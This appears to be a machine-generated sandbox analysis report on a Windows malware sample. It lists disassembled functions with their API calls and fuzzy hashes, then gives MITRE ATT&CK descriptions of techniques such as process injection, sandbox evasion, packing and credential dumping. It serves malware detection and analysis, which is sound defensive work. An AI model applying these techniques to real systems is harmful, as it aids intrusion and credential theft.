Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb41ff6124d86a6e36ac08eaac4bdb840b9b5c50bb73a3832cdfa69e9a25c91
Instruction ID: 15ba6abbd8db3345adcbbda54d2645a20ac357a50868277dd810dfe7608eea8c
Opcode Fuzzy Hash: ddb41ff6124d86a6e36ac08eaac4bdb840b9b5c50bb73a3832cdfa69e9a25c91
Instruction Fuzzy Hash: 6C219F32600215AF9B21EF71CD81E6A77A9FF44368714A91DF825B7351EB32ED038791

Function 00EDE52B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00EDE533

Part of subcall function 00ED7491: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ED8CE1,?,00000000,-00000008), ref: 00ED74F2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00EDE56B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00EDE58B

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 525bcf610b571ba788fee61b8bc12346990498b9be0549b62cb06ad2a0de62e2
Instruction ID: d91e2b4ebd4c7f00a9eaa3f45ca20c4a7a758a39368e73bda5d1fb9bb9e5f677
Opcode Fuzzy Hash: 525bcf610b571ba788fee61b8bc12346990498b9be0549b62cb06ad2a0de62e2
Instruction Fuzzy Hash: CA118BB1905255BE672537766C8ECBF6A9CDF883EC710202AF841B9341FA20DE4292B1

Function 00EC1690 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00EC16BD
GetCurrentThreadId.KERNEL32 ref: 00EC16CB
std::_Throw_Cpp_error.LIBCPMT ref: 00EC16E4
std::_Throw_Cpp_error.LIBCPMT ref: 00EC1723

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: ef7cfd8afb03168c140b080900f1812be139d7edda010cb360779e3a2061c72b
Instruction ID: 45f4588f042a13730dc6a4fd73e1aefb1fde306a28f23c2f59869149e72d251f
Opcode Fuzzy Hash: ef7cfd8afb03168c140b080900f1812be139d7edda010cb360779e3a2061c72b
Instruction Fuzzy Hash: 4521EAB4E042098FCB08EF98D695BADBBF1BF49304F01946DE449BB351DB359942CB51

Function 00ECAA61 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ECAA68
std::_Lockit::_Lockit.LIBCPMT ref: 00ECAA72

Part of subcall function 00EC4080: std::_Lockit::_Lockit.LIBCPMT ref: 00EC40AE
Part of subcall function 00EC4080: std::_Lockit::~_Lockit.LIBCPMT ref: 00EC40D9

codecvt.LIBCPMT ref: 00ECAAAC
std::_Lockit::~_Lockit.LIBCPMT ref: 00ECAAE3

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: f1cf432f05d996fa560af5dd8308e4b7cca674fd99b3122c69b537d58ba993e4
Instruction ID: add35ea93a2fd1a64f2f184ac83a1d9165f59b0f17c3c79dc62d42247c406c30
Opcode Fuzzy Hash: f1cf432f05d996fa560af5dd8308e4b7cca674fd99b3122c69b537d58ba993e4
Instruction Fuzzy Hash: F901A5B19002199FCB05EB64DA16FBEB7B5AF80314F29111DE411772D2DF729E06C781

Function 00EE6060 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00EE554F,00000000,00000001,00000000,?,?,00EDF6FB,?,00000000,00000000), ref: 00EE6077
GetLastError.KERNEL32(?,00EE554F,00000000,00000001,00000000,?,?,00EDF6FB,?,00000000,00000000,?,?,?,00EDF041,00000000), ref: 00EE6083

Part of subcall function 00EE60D4: CloseHandle.KERNEL32(FFFFFFFE,00EE6093,?,00EE554F,00000000,00000001,00000000,?,?,00EDF6FB,?,00000000,00000000,?,?), ref: 00EE60E4

___initconout.LIBCMT ref: 00EE6093

Part of subcall function 00EE60B5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00EE6051,00EE553C,?,?,00EDF6FB,?,00000000,00000000,?), ref: 00EE60C8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00EE554F,00000000,00000001,00000000,?,?,00EDF6FB,?,00000000,00000000,?), ref: 00EE60A8

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d38cb1ae185ed039cd4ef41e136da6bc3124e61f9ae7bc50267e9c5eaa0ad680
Instruction ID: 7a2f0bafa3e235cc52063bc91ffad357b15881495e120fdea40ab09b954d3d79
Opcode Fuzzy Hash: d38cb1ae185ed039cd4ef41e136da6bc3124e61f9ae7bc50267e9c5eaa0ad680
Instruction Fuzzy Hash: 7FF01236801169BFCF722F92DC089993F65FB943A0F008010FA19A5162D7318920DB91

Function 00EC79D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00EC7B30
_strcspn.LIBCMT ref: 00EC7B5E

Strings

@, xrefs: 00EC7E29

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 66d39e71585a43a837da086547208115b54ba167827c0f483ce21c86d4d99220
Instruction ID: 3e14b8d5424633c258814a703d6dc35b3d2f89ead05e272b3c618e61be91ba4b
Opcode Fuzzy Hash: 66d39e71585a43a837da086547208115b54ba167827c0f483ce21c86d4d99220
Instruction Fuzzy Hash: 4C32C3B49042698FCB14DF24C981BDEBBF1BF49300F0585AEE899A7311D731AA85CF91

Function 00EDBD15 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00ED19AE,?,?,?,00000055,?,-00000050,?,?,?), ref: 00EDBDD4
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00ED19AE,?,?,?,00000055,?,-00000050,?,?), ref: 00EDBE0B

Strings

utf8, xrefs: 00EDBEDD

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: eccc00039029685c97f52c9ddd01e53f3ba411fb11ee58beebe6701e5ff6b14e
Instruction ID: 853bbb4923a9ed64f6b9e12bc96ba43800193eefe6d5a78d075064beb04baff2
Opcode Fuzzy Hash: eccc00039029685c97f52c9ddd01e53f3ba411fb11ee58beebe6701e5ff6b14e
Instruction Fuzzy Hash: 4A51B771B00306EAE724AB318C82BBA73E9EF44744F16642BF955B7381FB70D9428765

Function 00ED6DFE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00ED6CFF,?,?,00000000,00000000,00000000,?), ref: 00ED6E23

Strings

RCC, xrefs: 00ED6E3D
MOC, xrefs: 00ED6E35

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6e4674b952c113e64c88412477475d5b1a2261c3f2e87467e3fc5794546010c3
Instruction ID: 1c09e155d17312a1692376881eee10b29e2be070a2ca054302b18625be207d14
Opcode Fuzzy Hash: 6e4674b952c113e64c88412477475d5b1a2261c3f2e87467e3fc5794546010c3
Instruction Fuzzy Hash: 5F416A72A00209AFCF15DF98DD81AAEBBB5FF48308F14505AF914B7251D3359A52DB60

Function 00ED666A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00ED68E1

Strings

csm, xrefs: 00ED6974
csm, xrefs: 00ED6903

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: c551890dc65e75ed34179e6ab7c5200fb19cddc015b91c2ebb1b59f386fbde5d
Instruction ID: f84134ad6bd1223e6bde0e9a9fe6b683e0f8b7c29e4aed3de8f071ede89e3d58
Opcode Fuzzy Hash: c551890dc65e75ed34179e6ab7c5200fb19cddc015b91c2ebb1b59f386fbde5d
Instruction Fuzzy Hash: 5031E732400218DFCF268F54CD549AA7B66FF89329B18616BF95469321D332DC63DF81

Function 00EC8EAA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00ECB1A0
___raise_securityfailure.LIBCMT ref: 00ECB288

Strings

(9, xrefs: 00ECB283

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (9
API String ID: 3761405300-3464744488
Opcode ID: f5dc37cb27692b757428cc8ff63a6170f13b1f2b35ae1f0661040fa69a6bbecd
Instruction ID: f66cc1756fa94e74e0e9f95ed1bfa1ce6ecb4c6bc759488c97f9928b8c5acc89
Opcode Fuzzy Hash: f5dc37cb27692b757428cc8ff63a6170f13b1f2b35ae1f0661040fa69a6bbecd
Instruction Fuzzy Hash: 3E2116B4611B409FD314DF27ED86660BBE4BBC8310F10941AE549BB7B1E3B19689CF44

Function 00ECB0B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00ECB0C3
___raise_securityfailure.LIBCMT ref: 00ECB180

Strings

(9, xrefs: 00ECB17B

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (9
API String ID: 3761405300-3464744488
Opcode ID: c424c69c1dbda239a78d9ebdd00364d348f33ec1c3427b223be4a7ad1768c63d
Instruction ID: 375246b8a5fe5cbdb5bb40adc7ba22960ab44582eadcef19f52b7f7c101686ec
Opcode Fuzzy Hash: c424c69c1dbda239a78d9ebdd00364d348f33ec1c3427b223be4a7ad1768c63d
Instruction Fuzzy Hash: 3711C3B4612A449FC310DF3BED81660BBA8BBC8310B00905AE489A7B71E3B19749CF45

Function 00EC44A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00EC44B2
std::_Lockit::~_Lockit.LIBCPMT ref: 00EC44FC

Strings

,B, xrefs: 00EC44A9

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
String ID: ,B
API String ID: 3286764726-2268942197
Opcode ID: 0a0a569afa2ccf16c67d749b0042258d6f93e047f7faa45b9a297a34e7e36040
Instruction ID: b58cc686e3c166383ee3ba0d175d8da8eb238eea3776121b2b8f8288ce15bd62
Opcode Fuzzy Hash: 0a0a569afa2ccf16c67d749b0042258d6f93e047f7faa45b9a297a34e7e36040
Instruction Fuzzy Hash: 06F0BD709105089BCB08FBE9E5B6B6DBBB1AF40308F44116CD10677387DE319E92C755

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
